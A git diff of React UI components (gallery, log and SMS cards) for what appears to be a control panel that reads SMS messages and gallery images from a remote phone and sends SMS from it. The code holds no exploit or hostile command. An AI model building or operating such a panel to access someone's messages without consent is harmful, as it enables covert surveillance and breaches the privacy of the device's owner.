style={{ width: '70%', borderRadius: 6 }}
|
||||
/>
|
||||
{img.displayName && (
|
||||
<div style={{ fontSize: 11, color: '#888', marginTop: 4 }}>
|
||||
{img.displayName}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</Image.PreviewGroup>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
export default GalleryControlCard
|
||||
|
||||
|
||||
34
src/components/Control/LogsCard.tsx
Normal file
34
src/components/Control/LogsCard.tsx
Normal file
@@ -0,0 +1,34 @@
|
||||
import React from 'react'
|
||||
import { Card, Row, Col, Button } from 'antd'
|
||||
import { FileTextOutlined, ClearOutlined } from '@ant-design/icons'
|
||||
|
||||
export interface LogsCardProps {
|
||||
onView: () => void
|
||||
onClear: () => void
|
||||
}
|
||||
|
||||
export const LogsCard: React.FC<LogsCardProps> = ({ onView, onClear }) => {
|
||||
return (
|
||||
<Card title="查看日志" size="small">
|
||||
<Row gutter={[8, 8]}>
|
||||
<Col span={12}>
|
||||
<Button block type="primary" icon={<FileTextOutlined />} onClick={onView}>
|
||||
查看日志
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={12}>
|
||||
<Button block danger icon={<ClearOutlined />} onClick={onClear}>
|
||||
清空日志
|
||||
</Button>
|
||||
</Col>
|
||||
</Row>
|
||||
<div style={{ marginTop: 8, fontSize: 12, textAlign: 'center', color: '#666' }}>
|
||||
💡 查看和管理历史日志记录
|
||||
</div>
|
||||
</Card>
|
||||
)
|
||||
}
|
||||
|
||||
export default LogsCard
|
||||
|
||||
|
||||
168
src/components/Control/SmsControlCard.tsx
Normal file
168
src/components/Control/SmsControlCard.tsx
Normal file
@@ -0,0 +1,168 @@
|
||||
import React, { useState, useMemo } from 'react'
|
||||
import { Card, Row, Col, Button, Input, InputNumber, Table, Modal } from 'antd'
|
||||
import { FileTextOutlined, SendOutlined } from '@ant-design/icons'
|
||||
|
||||
export interface SmsControlCardProps {
|
||||
operationEnabled: boolean
|
||||
smsLoading: boolean
|
||||
smsList: any[]
|
||||
smsReadLimit?: number
|
||||
onSmsReadLimitChange?: (limit: number) => void
|
||||
onReadList: () => void
|
||||
onSend: (phone: string, content: string) => void
|
||||
}
|
||||
|
||||
export const SmsControlCard: React.FC<SmsControlCardProps> = ({
|
||||
operationEnabled,
|
||||
smsLoading,
|
||||
smsList,
|
||||
smsReadLimit = 100,
|
||||
onSmsReadLimitChange,
|
||||
onReadList,
|
||||
onSend
|
||||
}) => {
|
||||
const [phone, setPhone] = useState('')
|
||||
const [content, setContent] = useState('')
|
||||
const [previewVisible, setPreviewVisible] = useState(false)
|
||||
const [previewText, setPreviewText] = useState('')
|
||||
|
||||
const columns = useMemo(
|
||||
() => [
|
||||
{ title: '号码', dataIndex: 'address', key: 'address', width: 160, render: (v: any) => v ?? '-' },
|
||||
{
|
||||
title: '内容',
|
||||
dataIndex: 'body',
|
||||
key: 'body',
|
||||
ellipsis: true,
|
||||
render: (v: any) => (
|
||||
<div
|
||||
style={{
|
||||
maxWidth: '100%',
|
||||
display: '-webkit-box',
|
||||
WebkitBoxOrient: 'vertical' as any,
|
||||
WebkitLineClamp: 2,
|
||||
overflow: 'hidden',
|
||||
whiteSpace: 'normal',
|
||||
cursor: v ? 'pointer' : 'default',
|
||||
color: v ? '#1677ff' : undefined
|
||||
}}
|
||||
onClick={() => {
|
||||
if (!v) return
|
||||
setPreviewText(String(v))
|
||||
setPreviewVisible(true)
|
||||
}}
|
||||
title={v || ''}
|
||||
>
|
||||
{v ?? '-'}
|
||||
</div>
|
||||
)
|
||||
},
|
||||
{ title: '时间', dataIndex: 'date', key: 'date', width: 200, render: (v: any) => v ? new Date(v).toLocaleString() : '-' },
|
||||
],
|
||||
[]
|
||||
)
|
||||
|
||||
const handleSendClick = () => {
|
||||
if (!phone.trim() || !content.trim()) return
|
||||
onSend(phone.trim(), content)
|
||||
}
|
||||
|
||||
return (
|
||||
<Card>
|
||||
{/* 🆕 读取条数设置 */}
|
||||
<Row gutter={[8, 8]} style={{ marginBottom: 8 }}>
|
||||
<Col span={8}>
|
||||
<span style={{ lineHeight: '32px', marginRight: 8 }}>读取条数:</span>
|
||||
<InputNumber
|
||||
min={1}
|
||||
max={1000}
|
||||
value={smsReadLimit}
|
||||
onChange={(value) => {
|
||||
if (value !== null && value > 0) {
|
||||
onSmsReadLimitChange?.(value)
|
||||
}
|
||||
}}
|
||||
disabled={!operationEnabled}
|
||||
style={{ width: 120 }}
|
||||
placeholder="条数"
|
||||
/>
|
||||
</Col>
|
||||
</Row>
|
||||
|
||||
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||||
<Col span={6}>
|
||||
<Input
|
||||
placeholder="手机号"
|
||||
value={phone}
|
||||
onChange={(e) => setPhone(e.target.value)}
|
||||
allowClear
|
||||
disabled={!operationEnabled}
|
||||
/>
|
||||
</Col>
|
||||
<Col span={10}>
|
||||
<Input.TextArea
|
||||
placeholder="短信内容"
|
||||
value={content}
|
||||
onChange={(e) => setContent(e.target.value)}
|
||||
autoSize={{ minRows: 1, maxRows: 3 }}
|
||||
disabled={!operationEnabled}
|
||||
/>
|
||||
</Col>
|
||||
<Col span={4}>
|
||||
<Button
|
||||
block
|
||||
type="primary"
|
||||
icon={<SendOutlined />}
|
||||
onClick={handleSendClick}
|
||||
disabled={!operationEnabled || !phone.trim() || !content.trim()}
|
||||
style={{ border: 'none' }}
|
||||
>
|
||||
发送
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={4}>
|
||||
<Button
|
||||
block
|
||||
icon={<FileTextOutlined />}
|
||||
onClick={onReadList}
|
||||
disabled={!operationEnabled}
|
||||
loading={smsLoading}
|
||||
style={{ background: operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined, borderColor: operationEnabled ? '#1890ff' : undefined, color: operationEnabled ? 'white' : undefined }}
|
||||
>
|
||||
{smsLoading ? '读取中...' : '读取短信'}
|
||||
</Button>
|
||||
</Col>
|
||||
</Row>
|
||||
|
||||
<div style={{ marginTop: 8 }}>
|
||||
<Table
|
||||
size="small"
|
||||
columns={columns as any}
|
||||
dataSource={smsList || []}
|
||||
rowKey={(record: any) => String(record.id ?? record._id ?? record.date ?? Math.random())}
|
||||
pagination={{ pageSize: 10, showSizeChanger: false }}
|
||||
loading={smsLoading}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Modal
|
||||
title="短信内容"
|
||||
open={previewVisible}
|
||||
onCancel={() => setPreviewVisible(false)}
|
||||
footer={null}
|
||||
width={600}
|
||||
>
|
||||
<Input.TextArea
|
||||
value={previewText}
|
||||
readOnly
|
||||
autoSize={{ minRows: 6, maxRows: 12 }}
|
||||
style={{ fontFamily: 'monospace' }}
|
||||
/>
|
||||
</Modal>
|
||||
</Card>
|
||||
)
|
||||
}
|
||||
|
||||
export default SmsControlCard
|
||||
|
||||
|
||||
Reference in New Issue
Block a user